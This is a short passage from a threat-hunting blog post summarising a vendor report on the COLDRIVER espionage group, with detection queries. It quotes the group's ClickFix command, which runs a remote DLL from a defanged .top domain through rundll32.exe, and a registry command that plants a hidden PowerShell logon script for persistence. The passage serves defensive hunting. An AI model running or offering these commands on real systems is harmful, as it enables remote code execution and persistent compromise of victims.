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Showing posts with the label unc4057

268. Hunting for COLDRIVER

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Hello everyone! Today we'll look into another great report by Zscaler. This time it's on COLDRIVER (also known as Star Blizzard, Callisto, and UNC4057). And it's full of detection and hunting ideas! The threat actor added ClickFix to their arsenal, but leveraged rundll32.exe instead of common cmd.exe , powershell.exe and mshta.exe : rundll32.exe \\captchanom[.]top\check\machinerie.dll,verifyme Here we can hunt for rundll32.exe executing DLLs located on .top (you can experiment with others, of course) domains (and yes, I love hunting for rundll32.exe abuse): event_type: "processcreatewin" AND proc_file_path: "rundll32.exe" AND cmdline: *top* The threat actors used Logon Script (T1037.001) for persistence: reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "powershell -WindowStyle Hidden -ep bypass \"%APPDATA%\Microsoft\Windows\FvFLcsr23.ps1\" \"7eHgxjgbBs3gHdkgx9AsRC\"" /f% And yes, it's ano...